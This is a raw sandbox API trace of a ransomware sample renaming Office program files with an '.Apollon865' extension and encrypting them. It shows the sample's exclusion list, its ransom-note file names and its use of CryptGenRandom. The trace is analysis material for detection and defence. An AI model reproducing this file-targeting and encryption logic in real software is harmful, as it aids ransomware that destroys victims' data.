	[0066.202] lstrlenW (lpString="PPTICO.EXE") returned 10
	[0066.202] lstrlenW (lpString="Apollon865") returned 10
	[0066.202] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PPTIRM.XML" | out: lpString1="PPTIRM.XML") returned="PPTIRM.XML"
	[0066.202] lstrlenW (lpString="PPTIRM.XML") returned 10
	[0066.202] lstrlenW (lpString="Apollon865") returned 10
	[0066.202] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML.Apollon865") returned 64
	[0066.202] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirm.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pptirm.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pptirm.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0066.204] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=79716) returned 1
	[0066.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0066.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0066.205] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0066.205] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.205] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.206] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a70, lpName=0x0) returned 0x150
	[0066.207] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a70) returned 0x120000
	[0066.212] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0066.212] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.212] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0066.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0066.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.213] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0066.214] CloseHandle (hObject=0x150) returned 1
	[0066.214] CloseHandle (hObject=0x118) returned 1
	[0066.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0066.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0066.215] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x6d012810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x135b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PPTIRMV.XML", cAlternateFileName="")) returned 1
	[0066.215] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.215] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="Apollon865.txt.exe") returned 1
	[0066.215] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2=".") returned 1
	[0066.215] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="..") returned 1
	[0066.215] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="windows") returned -1
	[0066.215] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="bootmgr") returned 1
	[0066.215] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="temp") returned -1
	[0066.215] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="pagefile.sys") returned 1
	[0066.215] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="boot") returned 1
	[0066.215] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="ids.txt") returned 1
	[0066.215] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="ntuser.dat") returned 1
	[0066.215] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="perflogs") returned 1
	[0066.215] lstrcmpiW (lpString1="PPTIRMV.XML", lpString2="MSBuild") returned 1
	[0066.215] lstrlenW (lpString="PPTIRMV.XML") returned 11
	[0066.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRM.XML") returned 53
	[0066.215] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PPTIRMV.XML" | out: lpString1="PPTIRMV.XML") returned="PPTIRMV.XML"
	[0066.215] lstrlenW (lpString="PPTIRMV.XML") returned 11
	[0066.215] lstrlenW (lpString="Apollon865") returned 10
	[0066.215] lstrcmpiW (lpString1="PTIRMV.XML", lpString2="Apollon865") returned 1
	[0066.215] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML.Apollon865") returned 65
	[0066.215] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pptirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pptirmv.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pptirmv.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0066.218] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=79284) returned 1
	[0066.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0066.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0066.218] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0066.219] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.219] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.219] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x138c0, lpName=0x0) returned 0x150
	[0066.221] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x138c0) returned 0x120000
	[0066.227] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0066.228] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.228] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.228] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.228] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0066.228] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.229] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0066.229] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.229] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0066.229] CloseHandle (hObject=0x150) returned 1
	[0066.229] CloseHandle (hObject=0x118) returned 1
	[0066.230] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.230] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0066.230] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0066.230] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd65451e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x14988, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROJIMPT.EXE", cAlternateFileName="")) returned 1
	[0066.230] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.230] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="Apollon865.txt.exe") returned 1
	[0066.230] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2=".") returned 1
	[0066.230] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="..") returned 1
	[0066.230] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="windows") returned -1
	[0066.230] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="bootmgr") returned 1
	[0066.230] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="temp") returned -1
	[0066.230] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="pagefile.sys") returned 1
	[0066.230] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="boot") returned 1
	[0066.230] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="ids.txt") returned 1
	[0066.230] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="ntuser.dat") returned 1
	[0066.231] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="perflogs") returned 1
	[0066.231] lstrcmpiW (lpString1="PROJIMPT.EXE", lpString2="MSBuild") returned 1
	[0066.231] lstrlenW (lpString="PROJIMPT.EXE") returned 12
	[0066.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PPTIRMV.XML") returned 54
	[0066.231] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PROJIMPT.EXE" | out: lpString1="PROJIMPT.EXE") returned="PROJIMPT.EXE"
	[0066.231] lstrlenW (lpString="PROJIMPT.EXE") returned 12
	[0066.231] lstrlenW (lpString="Apollon865") returned 10
	[0066.231] lstrcmpiW (lpString1="OJIMPT.EXE", lpString2="Apollon865") returned 1
	[0066.231] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PROJMODL.DLL" | out: lpString1="PROJMODL.DLL") returned="PROJMODL.DLL"
	[0066.231] lstrlenW (lpString="PROJMODL.DLL") returned 12
	[0066.231] lstrlenW (lpString="Apollon865") returned 10
	[0066.231] lstrcmpiW (lpString1="OJMODL.DLL", lpString2="Apollon865") returned 1
	[0066.231] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PROOF" | out: lpString1="PROOF") returned="PROOF"
	[0066.231] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0066.231] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x59a270
	[0066.231] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe10 | out: ListHead=0x5b76b0, ListEntry=0x59fe10) returned 0x59fdf0
	[0066.231] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd656b340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x12790, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PROPMGR.DLL", cAlternateFileName="")) returned 1
	[0066.231] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.231] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0066.231] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2=".") returned 1
	[0066.231] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="..") returned 1
	[0066.231] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="windows") returned -1
	[0066.231] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="bootmgr") returned 1
	[0066.231] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="temp") returned -1
	[0066.231] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="pagefile.sys") returned 1
	[0066.232] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="boot") returned 1
	[0066.232] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="ids.txt") returned 1
	[0066.232] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="ntuser.dat") returned 1
	[0066.232] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="perflogs") returned 1
	[0066.232] lstrcmpiW (lpString1="PROPMGR.DLL", lpString2="MSBuild") returned 1
	[0066.232] lstrlenW (lpString="PROPMGR.DLL") returned 11
	[0066.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PROOF") returned 48
	[0066.232] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PROPMGR.DLL" | out: lpString1="PROPMGR.DLL") returned="PROPMGR.DLL"
	[0066.232] lstrlenW (lpString="PROPMGR.DLL") returned 11
	[0066.232] lstrlenW (lpString="Apollon865") returned 10
	[0066.232] lstrcmpiW (lpString1="ROPMGR.DLL", lpString2="Apollon865") returned 1
	[0066.232] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PROPRPT.DLL" | out: lpString1="PROPRPT.DLL") returned="PROPRPT.DLL"
	[0066.232] lstrlenW (lpString="PROPRPT.DLL") returned 11
	[0066.232] lstrlenW (lpString="Apollon865") returned 10
	[0066.232] lstrcmpiW (lpString1="ROPRPT.DLL", lpString2="Apollon865") returned 1
	[0066.232] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PRTF9.DLL" | out: lpString1="PRTF9.DLL") returned="PRTF9.DLL"
	[0066.232] lstrlenW (lpString="PRTF9.DLL") returned 9
	[0066.232] lstrlenW (lpString="Apollon865") returned 10
	[0066.232] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PSTPRX32.DLL" | out: lpString1="PSTPRX32.DLL") returned="PSTPRX32.DLL"
	[0066.232] lstrlenW (lpString="PSTPRX32.DLL") returned 12
	[0066.232] lstrlenW (lpString="Apollon865") returned 10
	[0066.232] lstrcmpiW (lpString1="TPRX32.DLL", lpString2="Apollon865") returned 1
	[0066.232] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PTXT9.DLL" | out: lpString1="PTXT9.DLL") returned="PTXT9.DLL"
	[0066.232] lstrlenW (lpString="PTXT9.DLL") returned 9
	[0066.233] lstrlenW (lpString="Apollon865") returned 10
	[0066.233] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PUBBA" | out: lpString1="PUBBA") returned="PUBBA"
	[0066.233] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0066.233] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x59a2e0
	[0066.233] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0066.233] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aef100, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aef100, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xddf78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1
	[0066.233] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.233] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0066.233] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2=".") returned 1
	[0066.233] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="..") returned 1
	[0066.233] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="windows") returned -1
	[0066.233] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="bootmgr") returned 1
	[0066.233] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="temp") returned -1
	[0066.233] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="pagefile.sys") returned 1
	[0066.233] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="boot") returned 1
	[0066.233] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="ids.txt") returned 1
	[0066.233] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="ntuser.dat") returned 1
	[0066.233] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="perflogs") returned 1
	[0066.233] lstrcmpiW (lpString1="PUBCONV.DLL", lpString2="MSBuild") returned 1
	[0066.233] lstrlenW (lpString="PUBCONV.DLL") returned 11
	[0066.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA") returned 48
	[0066.233] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PUBCONV.DLL" | out: lpString1="PUBCONV.DLL") returned="PUBCONV.DLL"
	[0066.233] lstrlenW (lpString="PUBCONV.DLL") returned 11
	[0066.233] lstrlenW (lpString="Apollon865") returned 10
	[0066.233] lstrcmpiW (lpString1="UBCONV.DLL", lpString2="Apollon865") returned 1
	[0066.233] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PUBTRAP.DLL" | out: lpString1="PUBTRAP.DLL") returned="PUBTRAP.DLL"
	[0066.233] lstrlenW (lpString="PUBTRAP.DLL") returned 11
	[0066.233] lstrlenW (lpString="Apollon865") returned 10
	[0066.234] lstrcmpiW (lpString1="UBTRAP.DLL", lpString2="Apollon865") returned 1
	[0066.234] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="PUBWIZ" | out: lpString1="PUBWIZ") returned="PUBWIZ"
	[0066.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd28
	[0066.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x5afce8
	[0066.234] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd30 | out: ListHead=0x5b76b0, ListEntry=0x59fd30) returned 0x59fe30
	[0066.234] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1
	[0066.234] lstrcmpiW (lpString1="QUERIES", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.234] lstrcmpiW (lpString1="QUERIES", lpString2="Apollon865.txt.exe") returned 1
	[0066.234] lstrcmpiW (lpString1="QUERIES", lpString2=".") returned 1
	[0066.234] lstrcmpiW (lpString1="QUERIES", lpString2="..") returned 1
	[0066.234] lstrcmpiW (lpString1="QUERIES", lpString2="windows") returned -1
	[0066.234] lstrcmpiW (lpString1="QUERIES", lpString2="bootmgr") returned 1
	[0066.234] lstrcmpiW (lpString1="QUERIES", lpString2="temp") returned -1
	[0066.234] lstrcmpiW (lpString1="QUERIES", lpString2="pagefile.sys") returned 1
	[0066.234] lstrcmpiW (lpString1="QUERIES", lpString2="boot") returned 1
	[0066.234] lstrcmpiW (lpString1="QUERIES", lpString2="ids.txt") returned 1
	[0066.234] lstrcmpiW (lpString1="QUERIES", lpString2="ntuser.dat") returned 1
	[0066.234] lstrcmpiW (lpString1="QUERIES", lpString2="perflogs") returned 1
	[0066.234] lstrcmpiW (lpString1="QUERIES", lpString2="MSBuild") returned 1
	[0066.234] lstrlenW (lpString="QUERIES") returned 7
	[0066.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ") returned 49
	[0066.234] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="QUERIES" | out: lpString1="QUERIES") returned="QUERIES"
	[0066.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe48
	[0066.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x5afd58
	[0066.234] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe50 | out: ListHead=0x5b76b0, ListEntry=0x59fe50) returned 0x59fd30
	[0066.234] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xc568, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RECALL.DLL", cAlternateFileName="")) returned 1
	[0066.234] lstrcmpiW (lpString1="RECALL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.234] lstrcmpiW (lpString1="RECALL.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0066.234] lstrcmpiW (lpString1="RECALL.DLL", lpString2=".") returned 1
	[0066.235] lstrcmpiW (lpString1="RECALL.DLL", lpString2="..") returned 1
	[0066.235] lstrcmpiW (lpString1="RECALL.DLL", lpString2="windows") returned -1
	[0066.235] lstrcmpiW (lpString1="RECALL.DLL", lpString2="bootmgr") returned 1
	[0066.235] lstrcmpiW (lpString1="RECALL.DLL", lpString2="temp") returned -1
	[0066.235] lstrcmpiW (lpString1="RECALL.DLL", lpString2="pagefile.sys") returned 1
	[0066.235] lstrcmpiW (lpString1="RECALL.DLL", lpString2="boot") returned 1
	[0066.235] lstrcmpiW (lpString1="RECALL.DLL", lpString2="ids.txt") returned 1
	[0066.235] lstrcmpiW (lpString1="RECALL.DLL", lpString2="ntuser.dat") returned 1
	[0066.235] lstrcmpiW (lpString1="RECALL.DLL", lpString2="perflogs") returned 1
	[0066.235] lstrcmpiW (lpString1="RECALL.DLL", lpString2="MSBuild") returned 1
	[0066.235] lstrlenW (lpString="RECALL.DLL") returned 10
	[0066.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES") returned 50
	[0066.235] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="RECALL.DLL" | out: lpString1="RECALL.DLL") returned="RECALL.DLL"
	[0066.235] lstrlenW (lpString="RECALL.DLL") returned 10
	[0066.235] lstrlenW (lpString="Apollon865") returned 10
	[0066.235] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="REFEDIT.DLL" | out: lpString1="REFEDIT.DLL") returned="REFEDIT.DLL"
	[0066.235] lstrlenW (lpString="REFEDIT.DLL") returned 11
	[0066.235] lstrlenW (lpString="Apollon865") returned 10
	[0066.235] lstrcmpiW (lpString1="EFEDIT.DLL", lpString2="Apollon865") returned 1
	[0066.235] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="REMINDER.WAV" | out: lpString1="REMINDER.WAV") returned="REMINDER.WAV"
	[0066.235] lstrlenW (lpString="REMINDER.WAV") returned 12
	[0066.235] lstrlenW (lpString="Apollon865") returned 10
	[0066.235] lstrcmpiW (lpString1="MINDER.WAV", lpString2="Apollon865") returned 1
	[0066.235] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="REPORT.DLL" | out: lpString1="REPORT.DLL") returned="REPORT.DLL"
	[0066.235] lstrlenW (lpString="REPORT.DLL") returned 10
	[0066.235] lstrlenW (lpString="Apollon865") returned 10
	[0066.236] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="REVERSE.DLL" | out: lpString1="REVERSE.DLL") returned="REVERSE.DLL"
	[0066.236] lstrlenW (lpString="REVERSE.DLL") returned 11
	[0066.236] lstrlenW (lpString="Apollon865") returned 10
	[0066.236] lstrcmpiW (lpString1="EVERSE.DLL", lpString2="Apollon865") returned 1
	[0066.236] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="RSWOP.ICM" | out: lpString1="RSWOP.ICM") returned="RSWOP.ICM"
	[0066.236] lstrlenW (lpString="RSWOP.ICM") returned 9
	[0066.236] lstrlenW (lpString="Apollon865") returned 10
	[0066.236] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="RTFHTML.DLL" | out: lpString1="RTFHTML.DLL") returned="RTFHTML.DLL"
	[0066.236] lstrlenW (lpString="RTFHTML.DLL") returned 11
	[0066.236] lstrlenW (lpString="Apollon865") returned 10
	[0066.236] lstrcmpiW (lpString1="TFHTML.DLL", lpString2="Apollon865") returned 1
